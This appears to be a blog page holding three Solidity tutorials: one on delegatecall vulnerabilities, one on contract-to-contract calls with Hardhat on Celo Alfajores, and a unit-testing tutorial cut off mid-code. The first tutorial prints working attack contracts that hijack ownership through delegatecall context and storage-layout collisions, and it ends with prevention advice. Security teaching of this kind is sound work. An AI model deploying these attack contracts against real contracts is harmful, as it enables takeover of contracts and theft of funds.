Skip to main content

· 13 min read

header

Introduction

Despite being a fairly new programming language, Solidity is widely adopted by many developers. It is used to compile the bytecodes of many Ethereum smart contracts available today.

However, the downside to its newness is revealed in specific bugs and vulnerabilities affecting users and developers in the past. This article talks about one of these vulnerabilities, and the preventive techniques that can be implemented against it.

DelegateCall Attack

Before we dive into the concept of the DelegateCall Attack, we will first discuss how solidity interacts and sends messages to contract functions. In Solidity, there are two low-level interfaces to perform such operations. These interfaces are known as Call and DelegateCall.

The Call Interface:

The call function or opcode sends standard external message calls to contracts. In a call function, the code is executed under the conditions of the external contract/function (caller or receiver). Let us consider the code below to understand how the call function works.

// CALLEE OR RECEIVER
contract Receiver
{

uint256 public x;
function test(uint256 _x) public
{
x = _x;
}
}

// CALLER
contract Caller
{
uint256 public x;
function calltest(address _a) public
{
(bool success,) = _a.call(abi.encodeWithSignature("test(uint256)", 45));
require(success, "This call was unsuccessful");
}
}

You can copy the code and run it on your editor, or you can deploy it on Remix. Notice that whenever the caller (Caller -> calltest) is executed, the “test” gets called, and the value of “x” in the receiver is set to 45.

NOTE: you can use the call function to perform operations such as sending gas or ether You just need to pass the required parameters.

DelegateCall

The DelegateCall is quite similar to the Call opcode/function. The difference is, however, that the code is executed in the context of the caller rather than the callee. Another difference is that msg.sender and msg.value remains unchanged. Simply put, DelegateCall preserves the context of the caller. The storage layout for the caller and the receiver must be the same when using a DelegateCall.

This feature of solidity makes it possible for libraries to be implemented so that developers can write reusable code for future contracts. Let’s look at a quick example of DelegateCall in solidity.

//RECEIVER
contract A
{

uint256 public x;
function assignX(uint256 _x) public
{
x = _x;
}
}

// CALLER
contract B
{
uint256 public x;
function callassignX(address _a) public
{
(bool success,) = _a.delegatecall(abi.encodeWithSignature("assignX(uint256)", 55));
require(success, "This Delegate Call was not successful");
}
}

When you deploy the code on Remix or any editor of your choice, and you execute the caller, (B -> callassignX), you will notice that assignX() gets called and the value of “x” in the receiver is 0, while the value of “x” in the caller is 55.

Although the differences between the Call and DelegateCall appear to be very simple, the use of DelegateCall can lead to unexpected occurrences in your code and give you unpleasant experiences(really, this can give you nightmares if not properly managed.)

For further reading on call and DelegateCall, see Solidity Docs or this question on Ethereum Stack Exchange.

The Vulnerability Of DelegateCall

Let us explore the vulnerabilities of DelegateCall. These vulnerabilities are a result of two key features of DelegateCall. These features are

  1. The context-preserving nature of DelegateCall
  2. Ensuring that the storage layout of both the Caller and Receiver is the same.

Context Preserving Vulnerability

Let us explore what happens when you forget that DelegateCall preserves context. Take a look at this simple example.


contract Vulnerable {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

In the above code, Vulnerable is a contract that makes use of DelegateCall to execute a call. From this code, it does not seem possible for the owner of the Vulnerable to be changed. This can, however prove to be false because an attacker can easily take control of the contract. Let us see how that is possible.

The contract sets the owner state variable inside of the constructor. It also contains a fallback function. Let’s have a look at the fallback function.

 fallback() external payable {
address(lib).delegatecall(msg.data); //delegatecalls to lib
}

We can see here that the fallback function makes use of the DelegatCall. The fallback simply delegates the call to the state variable lib. Harmless, right? We’ll see about that. lib is another contract set inside the constructor. Let’s see this.

constructor(Lib _lib) {
owner = msg.sender; //owner variable
lib = Lib(_lib); //lib is another contract set inside the constructor
}

What does the contract, lib do? Let’s take a look.

contract Lib {
address public owner;

function setowner() public {
owner = msg.sender;
}
}

From the above code, we can see that the contract lib declares a single state variable called owner. It also defines a single function called setowner. which assigns the value of the owner to msg.sender. Pretty easy, right?

How can the owner of the Vulnerable contract be changed?

To hijack the Vulnerable contract or change its owner, we have to update the owner state variable to the hijacker's address. To do this, we must find a way to interact with the Vulnerable contract at all costs. This can be achieved by invoking the fallback function.

Fallback functions are invoked when a function that doesn’t exist inside a particular contract is called.

So, all we have to do is call a function that isn’t within the Vulnerable contract.

Let us create a new contract and call it AttackVulnerable.

contract AttackVulnerable {
address public vulnerable;

constructor(address _vulnerable) {
vulnerable = _vulnerable;
}

function attack() public {
vulnerable.call(abi.encodeWithSignature("setowner()"));
}
}

From the above code, the first thing that is done is to define a variable to store the address of the Vulnerable contract. The actual value will be set when the contract is deployed. This value is then passed into the constructor.

constructor(address _vulnerable) {
vulnerable = _vulnerable;
}

Inside the contract, we also have a function called attack(). This function makes a call to the vulnerable contract. It seems harmless, but with a closer look, we can observe that it is trying to call the setowner() function which is inside an entirely different contract. The attack() function is passing in the function signature of setowner() as its msg.data

function attack() public {
vulnerable.call(abi.encodeWithSignature("setowner()"));
}

This attempt of the attack() function will trigger the fallback() function inside the Vulnerable contract. If we recall, the fallback() function makes a delegatecall to the Lib contract and sends the msg.data to it. But how does this affect the Vulnerable contract?

  • Since the fallback function sends the msg.data, which matches the setowner() function to the Lib contract, the setowner() function is called.
  • The setowner() function then updates the owner variable.
  • Since the delegatecall runs its code using the storage of the Vulnerable contract, the owner variable that will be updated is the one inside the Vulnerable contract.
  • The setowner() function sets the owner variable to msg.sender and since msg.sender refers to the caller of Vulnerable, in this case, AttakVulnerable, the new owner will be AttackVulnerable.

Find the full code here:

pragma solidity ^0.8.13;
/*
1. OwnerA deploys Lib
2. OwnerA deploys Vulnerable with the address of Lib
3. Attacker deploys AttackVulnerable with the address of Vulnerable
4. Attacker calls AttackVulnerable.attack()
5. Attack is now the owner of Vulnerable
*/

contract Lib {
address public owner;

function setowner() public {
owner = msg.sender;
}
}

contract Vulnerable {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

contract AttackVulnerable {
address public vulnerable;

constructor(address _vulnerable) {
vulnerable = _vulnerable;
}

function attack() public {
vulnerable.call(abi.encodeWithSignature("setowner()"));
}
}

Storage Layout Vulnerability.

To get a proper understanding of this vulnerability, we need to know how Solidity stores state variables. Check this article to find out about that. Done? Now, let’s move on.

By now, we already know that when a delegatecall is used to update storage in Solidity, the state variables have to be declared in the same order. But what happens if we forget to declare the variables in the same order or declare the wrong type? Disastrous things, my friend! Now, let’s find out how this is possible.

First, let us create the two contracts, Lib and Vulnerable:

contract Lib {
uint public num;

function performOperation(uint _num) public {
num = _num;
}
}

contract Vulnerable {
address public lib;
address public owner;
uint public num;

constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}

function performOperation(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("performOperation(uint256)", _num));
}
}

In the above code, we have two contracts. The first contract, Lib, defines a state variable called num. It also has a function called performOperation(). This function simply updates the value of num.

In the second contract called Vulnerable, three state variables are defined. These are lib, owner, num. The contract assigns the value of lib to the address of the Lib contract. It also sets the value of owner to msg.sender. Both of these operations are done in the constructor. Have a look:

 constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}

Finally, the Vulnerable contract also has a function called performOperation() which takes in a unit, just like Lib.performOperation(). Vulnerable.performOperation() makes a delegatecall using the address of the Lib contract. Inside the delegatecall, it makes a request to the performOperation() function inside the Lib contract.

Now, let us make some observations. We first notice that the contract Lib declares only one state variable, but the contract Vulnerable declares three state variables.

This is the weak spot where any attacker will try to start exploiting the contract, Vulnerable.

As we did in the last example, let us see how the owner of the Vulnerable contract can be hijacked because of this mistake. Take a look at this contract written to attack the Vulnerable contract:

contract AttackVulnerable {

address public lib;
address public owner;
uint public num;

Vulnerable public vulnerable;

constructor(Vulnerable _vulnerable) {
vulnerable = Vulnerable(_vulnerable);
}

function attack() public {
vulnerable.performOperation(uint(address(this)));
vulnerable.performOperation(9);
}

// function signature must match Vulnerable.performOperation()
function performOperation(uint _num) public {
owner = msg.sender;
}
}

From the above code, our attacker is the contract called AttackVulnerable. The first thing we observe is that this contract has three state variables. These variables are in the same layout as the ones in the Vulnerable contract. It also has a state variable that holds the address of the Vulnerable contract. The actual value of the variable is assigned in the constructor

         // The storage layout is the same as Vulnerable
// This will allow the attacker to correctly update the state variables
address public lib;
address public owner;
uint public num;

//The state variable to store the address of the contract, Vulnerable
Vulnerable public vulnerable;

//constructor
constructor(Vulnerable _vulnerable) {
vulnerable = Vulnerable(_vulnerable);
}

Next, the attacker defines a function called attack(). In this function, the attacker calls the performOperation() function inside the Vulnerable contract twice.

    function attack() public {
// override address of lib
vulnerable.performOperation(uint(address(this)));
// call the function performOperation() with any number as input.
vulnerable.performOperation(9);
}

  • In the first call, the attacker passes his address as an argument to the Vulnerable.performOperation() function.
  • However, Vulnerable.performOperation() takes a uint as its argument. To overcome this, the attacker cleverly casts his address to uint.
  • When the first call is executed, it will call the performOperation() inside the Vulnerable contract. The value of num will be the address of the attacker casted into a uint.
  • Vulnerable.performOperation() will then delegatecall to the Lib contract. This will call the performOperation() function inside the Lib contract.
  • Once this function is called, it will proceed to update the state variable inside it. This will set the state variable to the address of the attacker.
  • Back inside the Vulnerable contract, the first variable will be updated since only the first variable in the Lib contract was updated. This is due to how Solidity stores state variables
  • Since the first variable in the Vulnerable contract is the address of the Lib contract, the address of the Lib contract will be updated to the address of the AttackVulnerable contract.

At this point, the execution of the first call is completed. So what happens when the second call, vulnerable.performOperation(9); is made? Let’s find out:

  • When this is called, it will call the performOperation() function inside the Vulnerable contract, as expected.
  • Remember that the Vulnerable.performOperation() function makes a delegatecall to the Lib contract by using the value stored in the lib state variable. However, the value of the lib variable has been updated by the previous call. This means the function will make a delegatecall to the AttackVulnerable contract.
  • Once a delegatecall has been made to the AttackVulnerable contract, the AttackVulnerable.performOperation() function is called. Let’s have a quick look at what the function does:
    function performOperation(uint _num) public {
owner = msg.sender;
}
  • From the above code, we can see that it updates the owner state variable. But in this case, which owner state variable is going to be updated?
  • Since the whole operation runs inside the context of the Vulnerable contract, the owner state variable that will be updated is the one inside the Vulnerable contract.
  • Also, since msg.sender is the attacker’s address, Vulnerable's address will be updated to the attacker’s address, making him the new owner of the Vulnerable contract.
  • Once again, our contract has been hijacked dues to the inappropriate use of delegatecall.

How To Prevent Attacks From DelegateCall.

Solidity provides the Library keyword that helps to ensure our library contracts are stateless. We could have used a library keyword when writing our Lib contract in both examples. Using this, our Lib contract would have had to use stateless variables and not be a victim of the attacks.

Generally, always pay careful attention to which context your code runs in. Also, try to use stateless libraries whenever possible.

If you cannot go stateless, ensure that you pay close attention to the layout of all your state variables. As we have seen, neglecting this can be very dangerous.

About the Author

Oyeniyi Abiola Peace (@iamoracle) is a blockchain software and full-stack developer with over five years of experience in JavaScript, Python, PHP, and Solidity. He is currently the CTO of DFMLab and a DevRel Community Moderator at the Celo Blockchain. When not building or teaching about blockchain, he enjoys reading and spending time with loved ones. You can check my blog at iamoracle.hashnode.dev.

· 15 min read

header

Introduction

One of the most essential and helpful tools a blockchain developer has as an arsenal is making contract calls. When working on complex and multi-contract projects, it is very likely, that you won't be deploying a single, smart contract file for the whole production. You might even deploy some contracts earlier than others.

Making contract calls is a flexible way for deployed contracts to interact with others on the blockchain.

This way, rather than having a messy long line of code, you have a network of contracts interacting with each other on the blockchain.

Throughout this tutorial, you will learn how to:

  • Install and Setup Hardhat.
  • Create a dummy smart contract.
  • Use hardhat to deploy to the Celo Alfajores Network.
  • Create a proficient test script on a hardhat.
  • And make contract calls on your deployed contract using hardhat test scripts.

Prerequisites

To get the best out of this tutorial, you should have a basic and foundational understanding of the following:

  • Celo Alfajores Testnet
  • Faucets
  • Hardhat, Don't worry, you will be installing hardhat alongside this tutorial
  • Node node and Node Package Manager npm. This tutorial will make use of the node package manager.

You should have the node package manager npm pre-installed. Follow the links for more information on installing node and node package manager npm.

Requirements

  • We'll need Metamask in this tutorial. Install it from HERE.
  • Make sure to have NodeJS 12.0.1+ version installed.

A brief definition of Keywords

Before you get started with this tutorial, here is a quick recap of the keywords you'll be working with during this tutorial.

Celo Alfajores

The Celo Alfajores is a test network run by the Celo Team. It is a blockchain simulation that enables deployments and testing of smart contracts on a testing blockchain. Although it is regarded as a testing blockchain, it primarily simulates deploying and testing contracts on the Celo Blockchain.

It functions exactly as effectively as on the Celo mainnets, except you call transactions using faucet funding (testnet money).

Faucets

These are simply testnet money funded into your wallet only to interact with a Testnet Blockchain. To make transactions on the Alfajores Testnet you need CELO Testnet tokens.

Following this tutorial, you will need CELO faucets to deploy and transact on the Celo Alfajores blockchain. Getting faucets is always as easy as taking these few baby steps:

  1. Head over to the faucet site for the testnet you need. For example, a Celo Alfajore faucet will give you tokens to interact with the Celo Alfajore testnet (which you will also use in this tutoria).

  2. Copy your wallet address from metamask or your preferred wallet and paste it into the tab.

  3. Complete the authentication process, usually, I am not a robot captcha. Click the send button and wait for about 15 to 90 seconds, depending on the requesting network, and you'll notice an increase in your wallet balance.

HardHat

This is an Ethereum Development Environment that runs on ether-js, and other basic EVM-compatible libraries. It is used for compiling, running, and deploying solidity smart contracts.

Calling Contracts

What are the contract calls referred to in this tutorial? Making a contract call simply means calling the functions from a deployed contract into another deployed contract on the blockchain. The calls can be made to retrieve data from a query function, to a payable function for making payments, or even a modifier function for modifying a variable state.

Now that you've been reminded of the tools we'll need, it's time to get your hands dirty with writing code to understand the purpose of this tutorial.

Installing and Setting up Hardhat

To get started with the coding part o this tutorial, you need to install Hardhat. In the next couple of steps, you will learn how to install Hardhat into your local work environment using yarn on your preferred package manager.

  1. Create a workspace in you're preferred code editor.

  2. Go to the terminal of your work environment and run the code npm init -y. This is to initialize a package.json file.

  3. Run the command npm install --save-dev hardhat @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers @nomicfoundation/hardhat-toolbox. also, run the command npm i hardhat-deploy on your terminal to install all the required dependencies you'll need for this tutorial.

  4. Next run the command npx hardhat to fire up your hardhat development environment. You will be prompted to choose the language you'll be working with.

  5. Click enter twice to enable the option Create a Javascript Project and to verify the project location. You will notice a new folder structure on your code editor file explorer.

Now that you have successfully installed and Setup up your hardhat development environment. next you will create the exemplary contracts you need to test the contract calls.

Creating your Smart Contracts

To simulate a contract call, you will need to create two smart contracts. These two contracts will be deployed on the Celo Blockchain.

One of the contracts will have the calling functions TestContract.sol, while the other contract, Person.sol will have the functions you will be calling from the previous contract, TestContract.sol.

The Calling Contract Person:

Navigate to the contract folder in your workspace and rename the existing contract from Lock.sol to Person.sol.

To initialize the contract and the needed variables, copy and paste the code below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

contract Person {

// Initializing the variables to Null or None
string name;
uint256 age;
bool has_payed;

}

Inside the Person.sol contract you will create the following simple functions:

  • The first function will be an external function getDetails that modifies the public variables name, and age. The function will accept a person's details as inputs and assign them to the public variables. Add the getDetails function below to the Person.sol contract created earlier.
function getDetails(string memory _name, uint256 _age) external {
name = _name;
age = _age;
}
  • The second function sayDetails will also be an external view function that simply returns the most recent person's details stored in the getDetails function.

Copy and add the code below into the Person.sol Contract as the next function.

function sayDetails() external view returns (string memory, uint256) {
return (name, age);
}
  • The third function, payFee will be an external payable function that transfers money into the contract to simulate a person making a payment, the function assigns the bool variable is_payed to true and the variable paid amount amount to msg.value.

Copy the function below into the Person.sol contract.

function payFee() external payable {
value = msg.value;
has_payed = true;
}
  • The last contract is an external view function that returns multiple variables value, contract_balance, has_payed based on the payment function payFee being called earlier.
function getValue() external view returns(uint256, uint256, bool) {
return (value, address(this).balance, has_payed);
}

The four functions created are sample functions to copy a real scenario of calling different types of functions from a contract.

Note: Alternatively, When creating contract calls, you can use the keyword Interface to initialize the calling contract. To know more about the interface Keyword and other Basic Solidity Data Types, click here.

For Uniformity purposes, copy and paste the entire code below into the Person.sol contract file.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Person {
string name;
uint256 age;
bool has_payed;
uint256 value;

function sayDetails() external view returns (string memory, uint256) {
return (name, age);
}

function getDetails(string memory _name, uint256 _age) external {
name = _name;
age = _age;
}

function payFee() external payable {
value = msg.value;
has_payed = true;
}

function getValue() external view returns(uint256, uint256, bool) {
return (value, address(this).balance, has_payed);
}

}

The Caller Contract TestContract:

The second contract TestContract.sol will be the testing contract that will make the contract calls to the Person.sol contract. The contract will also have four different functions to call the four different functions from the first contract, Person.sol.

When you want to call contracts from other contracts, one of the inputs has to be the address of the contract you are calling to and following the format below:

function <function_name> <(function_inputs)> <visibility> <mutability> returns(output_datatype) {
do something
return something
}

Note: Note: Do not copy the function above, it is just a layout on how to structure a calling function.

To initialize the TestContract.sol contract, copy the code below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import './Person.sol';

contract TestContract {

}

***Note: You'll need to import the Person.sol contract to refer to the functions in the Person.sol contract you'll be calling.

  • The first function, callGetDetails accepts the address of the deployed Person.sol contract as _test and the other arguments _name, and _age to pass to the getDetails function in the Person.sol contract. Copy and add the function below to the contract:
function callGetDetails(address _test, string memory _name, uint256 _age) external {
Person(_test).getDetails(_name, _age);
}
  • The second function callSayDetails will be an external view function that takes the deployed Person.sol contract address as _test. And returns the name & age variables in the SayDetails function from the Person.sol contract.

Copy and add the function below to the contract:

function callSayDetails(address _test) external view returns (string memory, uint256) {
return Person(_test).sayDetails();
}
  • The third function callpayFee will call the payFee function in the Person.sol contract. The function is a payable function for sending ETH into the smart contract.
function callpayFee(address _test) external payable {
paying(_test).payFee();
}
  • The last function callgetValuewill be called the getValue from the previous contract Person.sol. The function will simply return the same values as the getValue function.
function callgetValue(address _test) external view returns(uint256, uint256, bool) {
return paying(_test).getValue();
}

Copy and add the code below:

function callgetValue(address _test) external view returns(uint256, uint256, bool) {
return paying(_test).getValue();
}

After adding all the functions created above, your complete TestContract.sol contract should look exactly like the code below.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;


import './Person.sol';

contract TestContract{
function callGetDetails(address _test, string memory _name, uint256 _age) external {
Person(_test).getDetails(_name, _age);
}

function callSayDetails(address _test) external view returns (string memory, uint256) {
return Person(_test).sayDetails();
}

function callpayFee(address _test) external payable {
Person(_test).payFee();
}

function callgetValue(address _test) external view returns(uint256, uint256, bool) {
return Person(_test).getValue();
}
}

Next, you'll be deploying the contracts you've created to the Celo Blockchain.

Deploying to Celo Alfajores

Hopefully, you should be familiar with deploying a contract on the Celo blockchain. If not, here is a quick guide on deploying to the Celo Blockchain. In the next few steps, you will deploy both of the previously created contracts to the Celo blockchain to begin making the contract calls.

  1. To Compile the Contracts run the command npm hardhat compile on your terminal.

  2. Head over to the deploy folder and replace the Lock.js deploy script with another two deploy scripts. Rename the files with deploy_TestContract.js and deploy_PersonContract.js.

  3. Copy and paste the code below into the deploy_PersonContract.js file:

const hre = require("hardhat");

const main = async () => {
const PersonContract = await hre.ethers.getContractFactory("Person");
const Person = await PersonContract.deploy();

await Person.deployed();

console.log("The Person contract was deployed to: ", Person.address);
};

const runMain = async () => {
try {
await main();
process.exit(0);
} catch (error) {
console.error(error);
process.exit(1);
}
};

runMain();
  1. Copy and Paste the code below into the deploy_TestContract.js file:
const hre = require("hardhat");

const main = async () => {
const TestContract = await hre.ethers.getContractFactory("TestContract");
const TestingContractCalls = await TestContract.deploy();

await TestingContractCalls.deployed();

console.log(
"The TestContractCall contract was deployed to: ",
TestingContractCalls.address
);
}

const runMain = async () => {
try {
await main();
process.exit(0);
} catch (error) {
console.error(error);
process.exit(1);
}
}

runMain();
  1. Next, head over to the hardhat.config.js file in the root folder and replace the hardhat config. code there with the Celo configuration code here.

  2. Replace the solidity version specified at the bottom of the hardhat.config.js file with the same version of solidity specified in your contracts.

  3. Run the command npm i dotenv to download the dotenv dependency, and create a new file in the root folder .env.

  4. Create a variable name MNEMONIC inside the dotenv file and add your intended wallet MNEMONICs as the value.

Note: Your Wallet's MNEMONICs is simply the recovery phrase used in creating your wallet. Still not clear on what your MNEMONICs are? Here's a quick read. Ensure that the .env file is added to your .gitignore file if you'll be pushing to any version control..

  1. Finally, run the Following Command to deploy the two contracts:
  • Run the command npx hardhat run scripts/deploy_PersonContract.js --network alfajores to deploy the Person.sol contract.

Note: Make sure to copy the contract address printed on the console; you'll need it while making the contract calls..

  • Run the command npx hardhat run scripts/deploy_TestContract.js --network alfajores to deploy the TestContract.sol contract.

Note: Make sure to copy the contract address printed on the console; you'll need it while making the contract calls.

And Voila, Contracts Deployed...🥂📝

Making Contract Calls

Now it's time to make those contract calls. You'll use the built-in hardhat tool Hardhat Console to interact with the contracts on the blockchain and make the contract calls.

  • Run the command npx hardhat console --network alfajores to activate the hardhat console. You'll notice a prompt arrow appears >.
  1. Firstly, you'll have to test the functions in the Person.sol contract by calling the functions.
  • To begin, Run the code const Person = await ethers.getContractFactory("Person"), to get the deployed contract factory.

  • Next, run the command const person = await Person.attach("<Person.sol_contract_address>"), to gain access to the contract on the blockchain.

A successful transaction should look like the image below: Person.sol Contract Factory

Now, to call the functions in the Person.sol contract:

  • Run the command await person.sayDetails(), returns empty variables name and age. A successful transaction should look like the image below:

Person.sol function test

Person.sol function test

  • Run the command await person.getDetails("Albert", 22). A successful transaction should look like the image below:

Person.sol contract test

  • Rerun the first command await person.sayDetails(); this should return the name and the values input you sent in previously. Albert and 22. A successful transaction should look like the image below:

Person.sol contract test

  • Run the command await person.payFee(). A successful transaction should look like the image below:

Person.sol contract test

  • Run the command await person.getValue(). A successful transaction should look like the image below:

Person.sol Contract test

  1. Now that you know what the functions in the Person.sol contract does, Now it's time to try calling the same function from another deployed contract TestContract.sol.
  • To begin, Run the code const TestContract = await ethers.getContractFactory("TestContract"), to simply get the deployed contract factory.

  • Next, run the command const test = await TestContract.attach("<TestContract.sol_contract_address>"), to gain access to the contract on the blockchain:

A successful transaction should look like the image below: Test Contract Factory

Note: This is where you'll need the contract address of the Person.sol You will need to pass the address as the first argument to all the function calls.

assuming the deployed Person.sol contract address is: 0xA019Ad7Ed1F3fc0276E0854F2fF022EFeFf5C8e1

  • Run the command await test.callGetDetails("0xA019Ad7Ed1F3fc0276E0854F2fF022EFeFf5C8e1", "Julia", 25). A successful transaction should look like the image below:

Test Contract Calling

  • Run the command await test.callSayDetails("0xA019Ad7Ed1F3fc0276E0854F2fF022EFeFf5C8e1"). A successful transaction should look like the image below:

Test Contract Call

  • Run the command await test.callpayFee("0xA019Ad7Ed1F3fc0276E0854F2fF022EFeFf5C8e1"). A successful transaction should look like the image below:

Testing Contract Call

  • Run the command await test.callgetValue("0xA019Ad7Ed1F3fc0276E0854F2fF022EFeFf5C8e1"). A successful transaction should look like the image below:

Test Contract Call

Conclusion

Finálè, you have completed and learned quite a lot of new things here. You created two smart contracts, one will call functions and the other to make contract calls across the blockchain; you deployed both contracts to the Celo Blockchain successfully. You also interacted with the deployed contract using the Hardhat Console, and you made several contract calls on the celo blockchain.

Congratulations on taking another big step into the web3 rabbit hole.

Next Steps

You can also read about how to run the unit test for smart contracts using Truffle, and how to run the unit test for smart contracts using Hardhat. Here are some other tutorial articles you might be interested in.

About the Author

Mayowa Julius Ogungbola

A Software Engineer and technical writer always open to working on new ideas. I enjoy working on GitHub and you could also find out what I tweet about and connect with me on Twitter.

References

Here is a link to the complete tutorial sample code on my GitHub, Leave a ⭐on the repository if you find it helpful.

· 15 min read

header

Introduction

Unit testing is considered one of the most effective ways to ensure validating all functionalities and features of an application are working as expected. They are carried out in the development stage of an application and this case smart contracts. Unit testing with hardhat contracts gives you the tools to ensure your contract is working fine and efficiently test your contract.

On completing this tutorial, you will learn everything you need to know about writing effective unit tests for your smart contracts.

Prerequisites

Throughout this tutorial you’ll need to have worked with or have a basic knowledge of the following;

  • HardHat: Hardhat is an Ethereum Development Environment that provides the needed tools to help in the creation, compiling, and deployment of smart contracts.
  • Solidity: Solidity is simply a high-level programming language that is used for creating smart contracts.
  • Javascript: This tutorial will make use of Javascript, therefore you should be familiar with basic Javascript coding and algorithms.

Requirements

This tutorial also aspects that you have the following already installed or available:

  • Node & node package management npm or yarn: This tutorial will require you to use a preinstalled node package manager. You should also know about working with any package manager: npm or yarn.

Installing and setting up Hardhat

To get started with the coding part of this tutorial, you will need to install Hardhat. In the next couple of steps, you will learn how to install Hardhat into your local work environment using npm or you're preferred, Package Manager.

  1. Create a workspace in your preferred code editor.

  2. Go to the terminal of your work environment and run the command npm init -y. This will initialize the package manager and create a package.json file in preparation before installing hardhat.

  3. Next, run the command npm install --save-dev hardhat @nomicfoundation/hardhat-chai-matchers chai @nomiclabs/hardhat-ethers ethers @nomicfoundation/hardhat-toolbox. also, run the command npm i hardhat-deploy on your terminal to install all the required dependencies you'll need for this tutorial.

  4. Next, run the command npx hardhat to fire up your hardhat development environment. You will be prompted to choose the language you'll be working with.

  5. Click enter trice to enable the option Create a Javascript Project. and to verify the project location. You will notice a new folder structure on your code editor’s file explorer.

Now that you have successfully installed and Setup up your hardhat development environment. next you will create the exemplary contracts you’ll need to write unit tests for.

Running a Contract Test Simulation

After starting up the hardhat development environment you’ll notice a new folder structure appears in your workspace explorer like in the image below.

This file structure comes with a sample Lock.sol contract inside the contract folder and a Lock.test.js script inside the test folder.

Running tests on contracts usually requires you to run your trial a couple of times, therefore, deploying and running your test script on a MainNet or Testnets can be rather costly and also time-consuming.

Throughout this tutorial, you will be deploying and running your contract’s tests on the hardhat’s local network to save time consumption and real cost. To understand how unit testing works on smart contracts, run the command npx hardhat test. This will run a simulation test on the existing Lock.sol contract which will return a result like in the image below. Initial contract unit_test

Hardhat compiles the contract first, runs all the tests in the test script, and returns the result of all the tests. The image above shows what the result looks like when it passes all the unit tests.

What is Hardhat Coverage

Hardhat also comes with an inbuilt coverage functionality that runs a tabular representation of your contract test and other features of the contract’s current state test. Run the command npx hardhat coverage. A successful result will look exactly like the image below. Hardhat_Coverage

But in this tutorial, you’ll learn how to create your unit tests to suit your smart contract. Next, you need to create your contract.

Note: Here is a link to a more extensive read on hardhat coverage.

environment_directory

Creating the Smart Contract

Every contract test created is always written specifically to test a single contract meaning, if you have four different contract files in an application, your application should also have four test scripts for testing each contract. In the next few steps, you’ll be creating an exemplary smart contract which you’ll, later on, be writing a test script for.

Note: If you’re new to solidity and creating smart contracts, check out this tutorial to get started and understanding solidity code. The tutorial above also has a couple of functions that will help you learn how to write solidity code.

  1. Head over to the contract folder and rename the Lock.sol contract in the contract folder to Sample.sol, and delete the contract's content.
  2. The Sample.sol contract will have the following functionalities:

a. After initializing the contract, the variables owner and fav_num are also created, and by default, each has no value.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Sample {
address public owner;
uint256 public fav_num;
}

b. Next, the contract has a constructor that assigns the address of the contract’s deployer to the owner variable and assigns the value 200 to fav_num. add the code below to update your contract:

constructor() {
owner = msg.sender;
fav_num = 200;
}

c. The next function store simply takes an input and updates the value of the fav_num to the input integer value. Add the code below to update your contract:

function store(uint256 _number) public {
fav_num = _number;
}

d. The next function retrieve simply returns the current value fav_num. Copy and add the code below to your contract:

function retrieve() public view returns (uint256) {
return (fav_num);
}

e. The next is a modifier function isOwner that requires whoever is calling its parent function to be the owner(deployer of the contract), or the function will be reverted. Copy and add the code below:

modifier isOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}

f. The next function changeOwner takes in an address as an argument and uses the previously created modifier to only allow the owner of the contract to call the function to switch the owner’s role to the input address. Copy and add the code below to your contract:

function changeOwner(address newOwner) public isOwner {
owner = newOwner;
}

g. The next function fundIn allows anyone to deposit a minimum of 0.01 ETH into the contract or else it reverts the function call. Copy and add the code below to your contract:

function fundIn() public payable {
require(
msg.value >= 0.01 * 10**18,
"you need to send at least 0.01 ETH"
);
}

h. And finally, the last function withdraw accepts an input _amount it requires the amount value to be a maximum of 0.1 ETH else it reverts the function without a message. Copy and add the code below to your contract:

function withdraw(uint _amount) public payable {
// users can only withdraw .1 ETH at a time, feel free to change this!
require(_amount <= 100000000000000000);
payable(msg.sender).transfer(_amount);
}

On completing your Sample.sol contract, Your smart contract should look exactly like the code below, You should update your contract with the code below for uniformity's sake:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Sample {
address public owner;
uint256 public fav_num;

constructor() {
owner = msg.sender;
fav_num = 200;
}

// Stores a new value in the contract
function store(uint256 _number) public {
fav_num = _number;
}

// Reads the last stored value
function retrieve() public view returns (uint256) {
return (fav_num);
}

// modifier to check if caller is owner
modifier isOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}

function changeOwner(address newOwner) public isOwner {
owner = newOwner;
}

function fundIn() public payable {
require(
msg.value >= 0.01 * 10**18,
"you need to send at least 0.01 ETH"
);
}

function withdraw(uint _amount) public payable {
// users can only withdraw .1 ETH at a time, feel free to change this!
require(_amount <= 100000000000000000);
payable(msg.sender).transfer(_amount);
}
}

Now that you know the different functions in the sample.sol contract and you’re familiar with what they do. Next, you’ll learn how to create a unit test script to test subsections of the contract you just made.

Writing the Unit Test Script

Now that you’ve created a simple contract with solidity you can now get started with writing your unit tests to suit the contract. After completing these tests you’ll have a basic idea of how to create unit tests for smart contracts.

A very common pattern used when writing unit tests for smart contracts is:

  • Arrange: This is where you create dummy variables that you’ll need to run units of your test cases. They can be created globally after the contract test function s created or locally within the unit test.

  • Act: Next, is the part where you run your testing functions and store the result in a variable.

  • Assert: Since you already know the correct result of the test, then you compare your expected result with the response of the test you ran. If the test returns the expected result, it passes else the test does not pass. Also following the format:

 describe(<"functionName">, async function () {
beforeEach(async function() {
<what should happen before each test is run>
})
it("what the test is expected to do", async function () {
const response = <what was returned>
const result = <what should be returned>;
expect(response).to.equal(result); // compares the response to the expected result
});

In the next few steps, you’ll be creating a uint-test to test your sample.sol contract using the previous format above, and you’ll learn how to create a basic unit test script on your own:

Testing a smart contract makes it easier to identify bugs and vulnerabilities and reduces the possibility of software errors that could lead to costly exploits. In the next few steps, you will learn the basic format of how to write unit tests based on your smart contract.

  • First, head over to your deploy.js script in your scripts folder and replace the deployment script with the code below:
const hre = require("hardhat");

const main = async () => {
const SampleContract = await hre.ethers.getContractFactory("Sample");
